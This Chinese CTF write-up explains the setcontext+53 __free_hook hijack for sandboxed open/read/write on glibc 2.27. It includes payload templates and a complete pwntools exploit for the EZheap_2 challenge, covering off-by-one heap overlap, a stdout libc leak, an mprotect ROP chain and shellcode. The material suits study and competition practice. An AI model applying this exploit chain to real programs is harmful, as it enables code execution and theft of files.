首页 > 其他分享 >PWN系列-2.27版本利用setcontext实现orw

PWN系列-2.27版本利用setcontext实现orw

时间:2024-12-25 21:08:18浏览次数:3  
标签:p64 libc orw mov free PWN setcontext rdi payload

PWN系列-2.27版本利用setcontext实现orw

知识

开启沙箱之后,我们就只能用orw的方式来得到flag。

这篇博客主要讲通过劫持__free_hook或者__malloc_hook利用setcontext在libc或者heap上执行rop或者shellcode。

在free堆块的时候,rdi会指向堆块,在检测到__free_hook有值的情况下,会跳过去执行,此时的rdi仍然指向堆块地址。我们就可以让__free_hook指向setcontext+53处来劫持程序流。

这里先来看一下setcontext函数。

setcontext函数:

<setcontext>:	    push   rdi
<setcontext+1>:	    lea    rsi,[rdi+0x128]
<setcontext+8>:	    xor    edx,edx
<setcontext+10>:	mov    edi,0x2
<setcontext+15>:	mov    r10d,0x8
<setcontext+21>:	mov    eax,0xe
<setcontext+26>:	syscall 
<setcontext+28>:	pop    rdi
<setcontext+29>:	cmp    rax,0xfffffffffffff001
<setcontext+35>:	jae    0x7f8930e9a0d0 <setcontext+128>
<setcontext+37>:	mov    rcx,QWORD PTR [rdi+0xe0]
<setcontext+44>:	fldenv [rcx]
<setcontext+46>:	ldmxcsr DWORD PTR [rdi+0x1c0]
<setcontext+53>:	mov    rsp,QWORD PTR [rdi+0xa0]
<setcontext+60>:	mov    rbx,QWORD PTR [rdi+0x80]
<setcontext+67>:	mov    rbp,QWORD PTR [rdi+0x78]
<setcontext+71>:	mov    r12,QWORD PTR [rdi+0x48]
<setcontext+75>:	mov    r13,QWORD PTR [rdi+0x50]
<setcontext+79>:	mov    r14,QWORD PTR [rdi+0x58]
<setcontext+83>:	mov    r15,QWORD PTR [rdi+0x60]
<setcontext+87>:	mov    rcx,QWORD PTR [rdi+0xa8]
<setcontext+94>:	push   rcx
<setcontext+95>:	mov    rsi,QWORD PTR [rdi+0x70]
<setcontext+99>:	mov    rdx,QWORD PTR [rdi+0x88]
<setcontext+106>:	mov    rcx,QWORD PTR [rdi+0x98]
<setcontext+113>:	mov    r8,QWORD PTR [rdi+0x28]
<setcontext+117>:	mov    r9,QWORD PTR [rdi+0x30]
<setcontext+121>:	mov    rdi,QWORD PTR [rdi+0x68]
<setcontext+125>:	xor    eax,eax
<setcontext+127>:	ret    
<setcontext+128>:	mov    rcx,QWORD PTR [rip+0x398d91]    
<setcontext+135>:	neg    eax
<setcontext+137>:	mov    DWORD PTR fs:[rcx],eax
<setcontext+140>:	or     rax,0xffffffffffffffff
<setcontext+144>:	ret

setcontext函数我们只需要关心setcontext+53到setcontext+127即可。

这段代码其实就是利用rdi指向的地址+偏移来给各个寄存器赋值,并且控制rip。

通常情况下,我们会利用这段gadgets来实现一次任意写。

通过系统调用syscall(0,0,buf,size)来实现read(0,buf,szie)。

所以我们需要让rax=0,rdi=0,rsi=buf,rdx=size。

payload模板:

payload = p64(0)*13+p64(0)#rdi
payload+= p64(buf)#rsi
payload+= p64(0)*2+p64(0x300)#rdx
payload+= p64(0)*2+p64(buf)+p64(syscall)

rdi、rsi、rdx都比较好理解,xor eax,eax也会使得rax=0了,这里讲一下为什么将rsp也设置成buf,将rcx设置成syscall_ret。

在setcontext+94处有一行汇编push rcx

image-20241225203105998

我们将rsp设置成buf,将rcx设置成syscall_ret,执行完push rcx之后,此时rsp会指向syscall_ret,在代码执行到ret的时候就会跳转到rsp处继续进行系统调用。

此时我们向buf可以直接写orw读取flag,也可以先利用mprotect来将此处赋予可执行权限后写入shellcode来orw。

payload可以这样写:

payload = p64(pop_rdi)+p64(buf)
payload+= p64(pop_rsi)+p64(0x1000)
payload+= p64(pop_rdx)+p64(7)
payload+= p64(pop_rax)+p64(10)
payload+= p64(syscall) #mprotect(buf,0x1000,7)
payload+= p64(jmp_rsp)
payload+= asm(shellcraft.open('./flag'))
payload+= asm(shellcraft.read(3,free_hook+0x300,0x30))
payload+= asm(shellcraft.write(1,free_hook+0x300,0x30))

至于buf,一般是heap,或者libc的bss段。

例题

2024年第九届楚慧杯-EZheap_2

题目存在off by one漏洞,没有show功能,但是可以泄露pie。

可以先利用off by one构造堆块重叠,然后将chunk申请到bss段的stdout处,将stdout结构体_IO_write_base的末字节改小来泄露libc地址,payload通常这样写:p64(0xfbad1800) + p64(0)*3 + b'\x00'

然后再利用off by one来将chunk申请到__free_hook写入setcontext+53的地址,构造一个chunk,然后释放掉,这个chunk要布置一下,然后就是上面所讲的利用了。

from pwn import *

p = process('./pwn')
#p = remote('xxx.xxx.xxx',xxxx)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
context(os='linux',arch='amd64',log_level='debug')

def duan():
	sleep(0.5)
	gdb.attach(p)
	pause()
def pr(a,addr):
	log.success(a+'-->'+hex(addr))
def add(idx,size):
    p.sendlineafter(b'Your choice:',str(1))
    p.sendlineafter(b'index:',str(idx))
    p.sendlineafter(b'Size:',str(size))
def free(idx):
    p.sendlineafter(b'Your choice:',str(3))
    p.sendlineafter(b'index:',str(idx))
def show(idx):
    p.sendlineafter(b'Your choice:',str(4))  
    p.sendlineafter(b'choose:',str(idx))
def edit(idx,con):
    p.sendlineafter(b'Your choice:',str(2))
    p.sendlineafter(b'index:',str(idx))
    p.sendafter(b'context:',con)

add(0,0x18)  #0
add(1,0x68)  #1
add(2,0x68)  #2
add(3,0x18)  #3
edit(0,b'\x00'*0x18+p8(0xe1))
free(1)
add(4,0xd8)  
show(4)
p.recvuntil(b'\n')
pie=int(p.recv(14),16)-0x202160
pr('pie',pie)

free(2)
edit(4,b'\x00'*0x68+p64(0x71)+p64(pie+0x202020))
add(5,0x68)
add(6,0x68)
add(7,0x68)
edit(7,p64(0xfbad1800) + p64(0)*3 + b'\x00')
libc_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-0x3ed8b0
pr('libc_base',libc_base)

pop_rdi = libc_base+next(libc.search(asm("pop rdi\nret")))
pop_rsi = libc_base+next(libc.search(asm("pop rsi\nret")))
pop_rdx = libc_base+next(libc.search(asm("pop rdx\nret")))
pop_rax = libc_base+next(libc.search(asm("pop rax\nret")))
syscall=libc_base+next(libc.search(asm("syscall\nret")))
jmp_rsp=libc_base+next(libc.search(asm("jmp rsp")))
free_hook=libc_base+libc.sym['__free_hook']
setcontext_53=libc_base+libc.sym['setcontext']+53
buf = free_hook&0xfffffffffffff000

payload = p64(0)*13+p64(0)#rdi
payload+= p64(buf)#rsi
payload+= p64(0)*2+p64(0x300)#rdx
payload+= p64(0)*2+p64(buf)+p64(syscall)

add(8,0x18)
add(9,0x58)
add(10,0x58)
add(11,0x18)
edit(8,b'\x00'*0x18+p8(0xc1))
free(9)
add(12,0xb8)
free(10)
edit(12,b'\x00'*0x58+p64(0x61)+p64(free_hook)) 
add(13,0x58)
add(14,0x58)
edit(14,p64(setcontext_53))
add(15,0x400)
edit(15,payload)
free(15)

payload  = p64(pop_rdi)+p64(buf)
payload += p64(pop_rsi)+p64(0x1000)
payload += p64(pop_rdx)+p64(7)
payload += p64(pop_rax)+p64(10)
payload += p64(syscall) #mprotect(free_hook&0xfffffffffffff000,0x1000,7)
payload += p64(jmp_rsp)
payload += asm(shellcraft.open('./flag'))
payload += asm(shellcraft.read(3,free_hook+0x300,0x30))
payload += asm(shellcraft.write(1,free_hook+0x300,0x30))
p.sendline(payload)
p.interactive()

标签:p64,libc,orw,mov,free,PWN,setcontext,rdi,payload
From: https://www.cnblogs.com/xiaochange/p/18631411

相关文章

  • Linux:code:network:devinet_sysctl_forward;IN_DEV_FORWARD
    文章目录简介sysctl设置使用,arp_process间接使用IN_DEV_RX_REDIRECTSdev_disable_lro简介最近在看Linux里的forwarding的功能。顺便在这里总结一下。有些详细代码逻辑,如果可以记录一下,会好一点。sysctl设置这个函数在查看的时候需要注意的问题:变量名起的有......
  • 如何在 Java 中获取请求的 IP 地址和域名(X-Forwarded-For)
    个人名片......
  • PolarCTF-Pwn(困难)WP
    1、ret2libc前期准备:int__fastcallmain(intargc,constchar**argv,constchar**envp){chars[112];//[rsp+0h][rbp-70h]BYREFsetvbuf(stdin,0LL,2,0LL);setvbuf(stdout,0LL,2,0LL);setvbuf(stderr,0LL,2,0LL);gets(s);puts(s);retu......
  • 浅谈右值引用 移动语义 完美转发 std::move std::forward,窥探模板元编程的一角
    右值引用移动语义完美转发具体是什么,就不说了,网上一搜一大堆,主要介绍下std::move和std::forwardstd::movestd::forward查下源码,gcc版本:gccversion7.3.0(GCC),grep-r"forward("/usr/include/c++/7.3.0/bits/,move和forward都在/usr/include/c++/7.3.0/bits......
  • GUET 2024梦极光pwn2
    我们先简单地看一下程序发现它会跳转到challenge函数定义了数组buf和v2,v2已经给了初始值,buf用read函数读取后面用strcmp()将v2和guet555比较,如果相等(返回0)则会执行if段的内容,不相等的话会returnresult的结果。然后我们还可以看到有许多函数现在再回过头来看challenge里面的......
  • 【kernel】从 /proc/sys/net/ipv4/ip_forward 参数看如何玩转 procfs 内核参数
    本文的开篇,我们先从sysctl这个命令开始。sysctl使用sysctl是一个Linux系统工具,后台实际上是syscall,它允许用户查看和动态修改内核参数。#查看当前设置的所有内核参数sysctl-a#查看特定参数的值sysctlnet.ipv4.conf.all.forwarding#临时修改内核参数sysctlnet......
  • ISCTF2024比赛PWN后两道栈题复现
    严重的拖延症,本来应该在比赛结束两周内复现完成的,拖到现在EZstack静态分析保护全关main函数很简单,一个读入,然后打印读入内容,一眼fmt,直接动调看栈上情况(但并不是QAQ)buf初始地址是dc00,再看栈上的情况,rbp+8的位置有一个__libc_start_main函数从程序的执行流程角度来看,当......
  • BUUCTF Pwn jarvisoj_level2_x64 题解
    1.下载checksec64位用IDA64打开SHIFT+F12查找字符串找到了binsh函数里面也有system进主函数看看看到了栈溢出漏洞这是64位程序所以构造ROP链时要用rdi传参+用ret栈平衡找到这两个的地址:构造exp:运行得到flag  flag{4b1340f5-06be-4377-9630-fd2c77f016......
  • PolarCTF-Pwn(中等)WP
    1、没人能拒绝猫猫ida看主函数int__fastcallmain(intargc,constchar**argv,constchar**envp){_BYTEbuf[32];//[rsp+0h][rbp-50h]BYREF_QWORDs2[6];//[rsp+20h][rbp-30h]BYREFs2[5]=__readfsqword(0x28u);init();puts("......
  • PolarCTF-Pwn的WP
    1、sandboxida查看box函数,发现对输入的字符做了检查(sh、cat、flag)if(strchr(buf,'s')||strchr(buf,'h')||strstr(buf,"cat")||strstr(buf,"flag")||strchr(buf,'-')){puts("Illegalcommand.");e......